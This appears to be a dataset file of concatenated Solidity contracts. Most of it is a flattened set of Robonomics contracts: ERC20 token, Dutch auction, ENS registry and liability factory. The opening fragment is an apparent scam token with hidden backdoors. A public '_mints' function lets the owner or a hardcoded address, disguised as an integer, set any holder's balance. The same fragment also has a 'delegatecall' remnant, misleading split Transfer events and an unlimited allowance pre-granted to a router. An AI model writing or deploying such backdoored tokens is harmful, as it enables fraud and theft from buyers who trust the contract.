a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns(string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
}
// File: contracts/robonomics/XRT.sol
contract XRT is ERC20Mintable, ERC20Burnable, ERC20Detailed {
constructor() public ERC20Detailed("Robonomics Beta 3", "XRT", 9) {
uint256 INITIAL_SUPPLY = 1000 * (10 ** 9);
_mint(msg.sender, INITIAL_SUPPLY);
}
}
// File: contracts/robonomics/RobotLiabilityAPI.sol
//import './LiabilityFactory.sol';
contract RobotLiabilityAPI {
bytes public model;
bytes public objective;
bytes public result;
ERC20 public token;
uint256 public cost;
uint256 public lighthouseFee;
uint256 public validatorFee;
bytes32 public demandHash;
bytes32 public offerHash;
address public promisor;
address public promisee;
address public lighthouse;
address public validator;
bool public isSuccess;
bool public isFinalized;
LiabilityFactory public factory;
event Finalized(bool indexed success, bytes result);
}
// File: contracts/robonomics/LightContract.sol
contract LightContract {
/**
* @dev Shared code smart contract
*/
address lib;
constructor(address _library) public {
lib = _library;
}
function() public {
require(lib.delegatecall(msg.data));
}
}
// File: contracts/robonomics/RobotLiability.sol
// Standard robot liability light contract
contract RobotLiability is RobotLiabilityAPI, LightContract {
constructor(address _lib) public LightContract(_lib)
{ factory = LiabilityFactory(msg.sender); }
}
// File: contracts/robonomics/SingletonHash.sol
contract SingletonHash {
event HashConsumed(bytes32 indexed hash);
/**
* @dev Used hash accounting
*/
mapping(bytes32 => bool) public isHashConsumed;
/**
* @dev Parameter can be used only once
* @param _hash Single usage hash
*/
function singletonHash(bytes32 _hash) internal {
require(!isHashConsumed[_hash]);
isHashConsumed[_hash] = true;
emit HashConsumed(_hash);
}
}
// File: contracts/robonomics/DutchAuction.sol
/// @title Dutch auction contract - distribution of XRT tokens using an auction.
/// @author Stefan George - <stefan.george@consensys.net>
/// @author Airalab - <research@aira.life>
contract DutchAuction {
/*
* Events
*/
event BidSubmission(address indexed sender, uint256 amount);
/*
* Constants
*/
uint constant public MAX_TOKENS_SOLD = 800 * 10**9; // 8M XRT = 10M - 1M (Foundation) - 1M (Early investors base)
uint constant public WAITING_PERIOD = 0; // 1 days;
/*
* Storage
*/
XRT public xrt;
address public ambix;
address public wallet;
address public owner;
uint public ceiling;
uint public priceFactor;
uint public startBlock;
uint public endTime;
uint public totalReceived;
uint public finalPrice;
mapping (address => uint) public bids;
Stages public stage;
/*
* Enums
*/
enum Stages {
AuctionDeployed,
AuctionSetUp,
AuctionStarted,
AuctionEnded,
TradingStarted
}
/*
* Modifiers
*/
modifier atStage(Stages _stage) {
// Contract on stage
require(stage == _stage);
_;
}
modifier isOwner() {
// Only owner is allowed to proceed
require(msg.sender == owner);
_;
}
modifier isWallet() {
// Only wallet is allowed to proceed
require(msg.sender == wallet);
_;
}
modifier isValidPayload() {
require(msg.data.length == 4 || msg.data.length == 36);
_;
}
modifier timedTransitions() {
if (stage == Stages.AuctionStarted && calcTokenPrice() <= calcStopPrice())
finalizeAuction();
if (stage == Stages.AuctionEnded && now > endTime + WAITING_PERIOD)
stage = Stages.TradingStarted;
_;
}
/*
* Public functions
*/
/// @dev Contract constructor function sets owner.
/// @param _wallet Multisig wallet.
/// @param _ceiling Auction ceiling.
/// @param _priceFactor Auction price factor.
constructor(address _wallet, uint _ceiling, uint _priceFactor)
public
{
require(_wallet != 0 && _ceiling > 0 && _priceFactor > 0);
owner = msg.sender;
wallet = _wallet;
ceiling = _ceiling;
priceFactor = _priceFactor;
stage = Stages.AuctionDeployed;
}
/// @dev Setup function sets external contracts' addresses.
/// @param _xrt Robonomics token address.
/// @param _ambix Distillation cube address.
function setup(address _xrt, address _ambix)
public
isOwner
atStage(Stages.AuctionDeployed)
{
// Validate argument
require(_xrt != 0 && _ambix != 0);
xrt = XRT(_xrt);
ambix = _ambix;
// Validate token balance
require(xrt.balanceOf(this) == MAX_TOKENS_SOLD);
stage = Stages.AuctionSetUp;
}
/// @dev Starts auction and sets startBlock.
function startAuction()
public
isWallet
atStage(Stages.AuctionSetUp)
{
stage = Stages.AuctionStarted;
startBlock = block.number;
}
/// @dev Calculates current token price.
/// @return Returns token price.
function calcCurrentTokenPrice()
public
timedTransitions
returns (uint)
{
if (stage == Stages.AuctionEnded || stage == Stages.TradingStarted)
return finalPrice;
return calcTokenPrice();
}
/// @dev Returns correct stage, even if a function with timedTransitions modifier has not yet been called yet.
/// @return Returns current auction stage.
function updateStage()
public
timedTransitions
returns (Stages)
{
return stage;
}
/// @dev Allows to send a bid to the auction.
/// @param receiver Bid will be assigned to this address if set.
function bid(address receiver)
public
payable
isValidPayload
timedTransitions
atStage(Stages.AuctionStarted)
returns (uint amount)
{
require(msg.value > 0);
amount = msg.value;
// If a bid is done on behalf of a user via ShapeShift, the receiver address is set.
if (receiver == 0)
receiver = msg.sender;
// Prevent that more than 90% of tokens are sold. Only relevant if cap not reached.
uint maxWei = MAX_TOKENS_SOLD * calcTokenPrice() / 10**9 - totalReceived;
uint maxWeiBasedOnTotalReceived = ceiling - totalReceived;
if (maxWeiBasedOnTotalReceived < maxWei)
maxWei = maxWeiBasedOnTotalReceived;
// Only invest maximum possible amount.
if (amount > maxWei) {
amount = maxWei;
// Send change back to receiver address. In case of a ShapeShift bid the user receives the change back directly.
receiver.transfer(msg.value - amount);
}
// Forward funding to ether wallet
wallet.transfer(amount);
bids[receiver] += amount;
totalReceived += amount;
emit BidSubmission(receiver, amount);
// Finalize auction when maxWei reached
if (amount == maxWei)
finalizeAuction();
}
/// @dev Claims tokens for bidder after auction.
/// @param receiver Tokens will be assigned to this address if set.
function claimTokens(address receiver)
public
isValidPayload
timedTransitions
atStage(Stages.TradingStarted)
{
if (receiver == 0)
receiver = msg.sender;
uint tokenCount = bids[receiver] * 10**9 / finalPrice;
bids[receiver] = 0;
require(xrt.transfer(receiver, tokenCount));
}
/// @dev Calculates stop price.
/// @return Returns stop price.
function calcStopPrice()
view
public
returns (uint)
{
return totalReceived * 10**9 / MAX_TOKENS_SOLD + 1;
}
/// @dev Calculates token price.
/// @return Returns token price.
function calcTokenPrice()
view
public
returns (uint)
{
return priceFactor * 10**18 / (block.number - startBlock + 7500) + 1;
}
/*
* Private functions
*/
function finalizeAuction()
private
{
stage = Stages.AuctionEnded;
finalPrice = totalReceived == ceiling ? calcTokenPrice() : calcStopPrice();
uint soldTokens = totalReceived * 10**9 / finalPrice;
if (totalReceived == ceiling) {
// Auction contract transfers all unsold tokens to Ambix contract
require(xrt.transfer(ambix, MAX_TOKENS_SOLD - soldTokens));
} else {
// Auction contract burn all unsold tokens
xrt.burn(MAX_TOKENS_SOLD - soldTokens);
}
endTime = now;
}
}
// File: contracts/robonomics/LighthouseAPI.sol
//import './LiabilityFactory.sol';
contract LighthouseAPI {
address[] public members;
function membersLength() public view returns (uint256)
{ return members.length; }
mapping(address => uint256) indexOf;
mapping(address => uint256) public balances;
uint256 public minimalFreeze;
uint256 public timeoutBlocks;
LiabilityFactory public factory;
XRT public xrt;
uint256 public keepaliveBlock = 0;
uint256 public marker = 0;
uint256 public quota = 0;
function quotaOf(address _member) public view returns (uint256)
{ return balances[_member] / minimalFreeze; }
}
// File: contracts/robonomics/Lighthouse.sol
contract Lighthouse is LighthouseAPI, LightContract {
constructor(
address _lib,
uint256 _minimalFreeze,
uint256 _timeoutBlocks
)
public
LightContract(_lib)
{
require(_minimalFreeze > 0 && _timeoutBlocks > 0);
minimalFreeze = _minimalFreeze;
timeoutBlocks = _timeoutBlocks;
factory = LiabilityFactory(msg.sender);
xrt = factory.xrt();
}
}
// File: ens/contracts/AbstractENS.sol
contract AbstractENS {
function owner(bytes32 node) constant returns(address);
function resolver(bytes32 node) constant returns(address);
function ttl(bytes32 node) constant returns(uint64);
function setOwner(bytes32 node, address owner);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner);
function setResolver(bytes32 node, address resolver);
function setTTL(bytes32 node, uint64 ttl);
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
}
// File: ens/contracts/ENS.sol
/**
* The ENS registry contract.
*/
contract ENS is AbstractENS {
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping(bytes32=>Record) records;
// Permits modifications only by the owner of the specified node.
modifier only_owner(bytes32 node) {
if(records[node].owner != msg.sender) throw;
_;
}
/**
* Constructs a new ENS registrar.
*/
function ENS() {
records[0].owner = msg.sender;
}
/**
* Returns the address that owns the specified node.
*/
function owner(bytes32 node) constant returns (address) {
return records[node].owner;
}
/**
* Returns the address of the resolver for the specified node.
*/
function resolver(bytes32 node) constant returns (address) {
return records[node].resolver;
}
/**
* Returns the TTL of a node, and any records associated with it.
*/
function ttl(bytes32 node) constant returns (uint64) {
return records[node].ttl;
}
/**
* Transfers ownership of a node to a new address. May only be called by the current
* owner of the node.
* @param node The node to transfer ownership of.
* @param owner The address of the new owner.
*/
function setOwner(bytes32 node, address owner) only_owner(node) {
Transfer(node, owner);
records[node].owner = owner;
}
/**
* Transfers ownership of a subnode sha3(node, label) to a new address. May only be
* called by the owner of the parent node.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
*/
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) only_owner(node) {
var subnode = sha3(node, label);
NewOwner(node, label, owner);
records[subnode].owner = owner;
}
/**
* Sets the resolver address for the specified node.
* @param node The node to update.
* @param resolver The address of the resolver.
*/
function setResolver(bytes32 node, address resolver) only_owner(node) {
NewResolver(node, resolver);
records[node].resolver = resolver;
}
/**
* Sets the TTL for the specified node.
* @param node The node to update.
* @param ttl The TTL in seconds.
*/
function setTTL(bytes32 node, uint64 ttl) only_owner(node) {
NewTTL(node, ttl);
records[node].ttl = ttl;
}
}
// File: ens/contracts/PublicResolver.sol
/**
* A simple resolver anyone can use; only allows the owner of a node to set its
* address.
*/
contract PublicResolver {
AbstractENS ens;
mapping(bytes32=>address) addresses;
mapping(bytes32=>bytes32) hashes;
modifier only_owner(bytes32 node) {
if(ens.owner(node) != msg.sender) throw;
_;
}
/**
* Constructor.
* @param ensAddr The ENS registrar contract.
*/
function PublicResolver(AbstractENS ensAddr) {
ens = ensAddr;
}
/**
* Fallback function.
*/
function() {
throw;
}
/**
* Returns true if the specified node has the specified record type.
* @param node The ENS node to query.
* @param kind The record type name, as specified in EIP137.
* @return True if this resolver has a record of the provided type on the
* provided node.
*/
function has(bytes32 node, bytes32 kind) constant returns (bool) {
return (kind == "addr" && addresses[node] != 0) || (kind == "hash" && hashes[node] != 0);
}
/**
* Returns true if the resolver implements the interface specified by the provided hash.
* @param interfaceID The ID of the interface to check for.
* @return True if the contract implements the requested interface.
*/
function supportsInterface(bytes4 interfaceID) constant returns (bool) {
return interfaceID == 0x3b3b57de || interfaceID == 0xd8389dc5;
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) constant returns (address ret) {
ret = addresses[node];
}
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param addr The address to set.
*/
function setAddr(bytes32 node, address addr) only_owner(node) {
addresses[node] = addr;
}
/**
* Returns the content hash associated with an ENS node.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The ENS node to query.
* @return The associated content hash.
*/
function content(bytes32 node) constant returns (bytes32 ret) {
ret = hashes[node];
}
/**
* Sets the content hash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The node to update.
* @param hash The content hash to set
*/
function setContent(bytes32 node, bytes32 hash) only_owner(node) {
hashes[node] = hash;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
// File: contracts/robonomics/LiabilityFactory.sol
contract LiabilityFactory is SingletonHash {
constructor(
address _robot_liability_lib,
address _lighthouse_lib,
DutchAuction _auction,
XRT _xrt,
ENS _ens
) public {
robotLiabilityLib = _robot_liability_lib;
lighthouseLib = _lighthouse_lib;
auction = _auction;
xrt = _xrt;
ens = _ens;
}
using SafeERC20 for XRT;
using SafeERC20 for ERC20;
/**
* @dev New liability created
*/
event NewLiability(address indexed liability);
/**
* @dev New lighthouse created
*/
event NewLighthouse(address indexed lighthouse, string name);
/**
* @dev Robonomics dutch auction contract
*/
DutchAuction public auction;
/**
* @dev Robonomics network protocol token
*/
XRT public xrt;
/**
* @dev Ethereum name system
*/
ENS public ens;
/**
* @dev Total GAS utilized by Robonomics network
*/
uint256 public totalGasUtilizing = 0;
/**
* @dev GAS utilized by liability contracts
*/
mapping(address => uint256) public gasUtilizing;
/**
* @dev The count of utilized gas for switch to next epoch
*/
uint256 public constant gasEpoch = 347 * 10**10;
/**
* @dev SMMA filter with function: SMMA(i) = (SMMA(i-1)*(n-1) + PRICE(i)) / n
* @param _prePrice PRICE[n-1]
* @param _price PRICE[n]
* @return filtered price
*/
function smma(uint256 _prePrice, uint256 _price) internal returns (uint256) {
return (_prePrice * (smmaPeriod - 1) + _price) / smmaPeriod;
}
/**
* @dev SMMA filter period
*/
uint256 public constant smmaPeriod = 100;
/**
* @dev Current gas price in wei
*/
uint256 public gasPrice = 10 * 10**9;
/**
* @dev Lighthouse accounting
*/
mapping(address => bool) public isLighthouse;
/**
* @dev Robot liability shared code smart contract
*/
address public robotLiabilityLib;
/**
* @dev Lightouse shared code smart contract
*/
address public lighthouseLib;
/**
* @dev XRT emission value for utilized gas
*/
function wnFromGas(uint256 _gas) view returns (uint256) {
// Just return wn=gas when auction isn't finish
if (auction.finalPrice() == 0)
return _gas;
// Current gas utilization epoch
uint256 epoch = totalGasUtilizing / gasEpoch;
// XRT emission with addition coefficient by gas utilzation epoch
uint256 wn = _gas * 10**9 * gasPrice * 2**epoch / 3**epoch / auction.finalPrice();
// Check to not permit emission decrease below wn=gas
return wn < _gas ? _gas : wn;
}
/**
* @dev Only lighthouse guard
*/
modifier onlyLighthouse {
require(isLighthouse[msg.sender]);
_;
}
modifier gasPriceEstimated {
gasPrice = smma(gasPrice, tx.gasprice);
_;
}
/**
* @dev Create robot liability smart contract
* @param _demand ABI-encoded demand message
* @param _offer ABI-encoded offer message
*/
function createLiability(
bytes _demand,
bytes _offer
)
external
onlyLighthouse
gasPriceEstimated
returns (RobotLiability liability) { // Store in memory available gas
uint256 gasinit = gasleft();
// Create liability
liability = new RobotLiability(robotLiabilityLib);
emit NewLiability(liability);
// Parse messages
require(liability.call(abi.encodePacked(bytes4(0xd9ff764a), _demand))); // liability.demand(...)
singletonHash(liability.demandHash());
require(liability.call(abi.encodePacked(bytes4(0xd5056962), _offer))); // liability.offer(...)
singletonHash(liability.offerHash());
// Transfer lighthouse fee to lighthouse worker directly
if (liability.lighthouseFee() > 0)
xrt.safeTransferFrom(liability.promisor(),
tx.origin,
liability.lighthouseFee());
// Transfer liability security and hold on contract
ERC20 token = liability.token();
if (liability.cost() > 0)
token.safeTransferFrom(liability.promisee(),
liability,
liability.cost());
// Transfer validator fee and hold on contract
if (address(liability.validator()) != 0 && liability.validatorFee() > 0)
xrt.safeTransferFrom(liability.promisee(),
liability,
liability.validatorFee());
// Accounting gas usage of transaction
uint256 gas = gasinit - gasleft() + 110525; // Including observation error
totalGasUtilizing += gas;
gasUtilizing[liability] += gas;
}
/**
* @dev Create lighthouse smart contract
* @param _minimalFreeze Minimal freeze value of XRT token
* @param _timeoutBlocks Max time of lighthouse silence in blocks
* @param _name Lighthouse subdomain,
* example: for 'my-name' will created 'my-name.lighthouse.1.robonomics.eth' domain
*/
function createLighthouse(
uint256 _minimalFreeze,
uint256 _timeoutBlocks,
string _name
)
external
returns (address lighthouse)
{
bytes32 lighthouseNode
// lighthouse.3.robonomics.eth
= 0x87bd923a85f096b00a4a347fb56cef68e95319b3d9dae1dff59259db094afd02;
// Name reservation check
bytes32 subnode = keccak256(abi.encodePacked(lighthouseNode, keccak256(_name)));
require(ens.resolver(subnode) == 0);
// Create lighthouse
lighthouse = new Lighthouse(lighthouseLib, _minimalFreeze, _timeoutBlocks);
emit NewLighthouse(lighthouse, _name);
isLighthouse[lighthouse] = true;
// Register subnode
ens.setSubnodeOwner(lighthouseNode, keccak256(_name), this);
// Register lighthouse address
PublicResolver resolver = PublicResolver(ens.resolver(lighthouseNode));
ens.setResolver(subnode, resolver);
resolver.setAddr(subnode, lighthouse);
}
/**
* @dev Is called whan after liability finalization
* @param _gas Liability finalization gas expenses
*/
function liabilityFinalized(
uint256 _gas
)
external
gasPriceEstimated
returns (bool)
{
require(gasUtilizing[msg.sender] > 0);
uint256 gas = _gas - gasleft();
require(_gas > gas);
totalGasUtilizing += gas;
gasUtilizing[msg.sender] += gas;
require(xrt.mint(tx.origin, wnFromGas(gasUtilizing[msg.sender])));
return true;
}
}
|
DC1
|
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol@v4.5.1
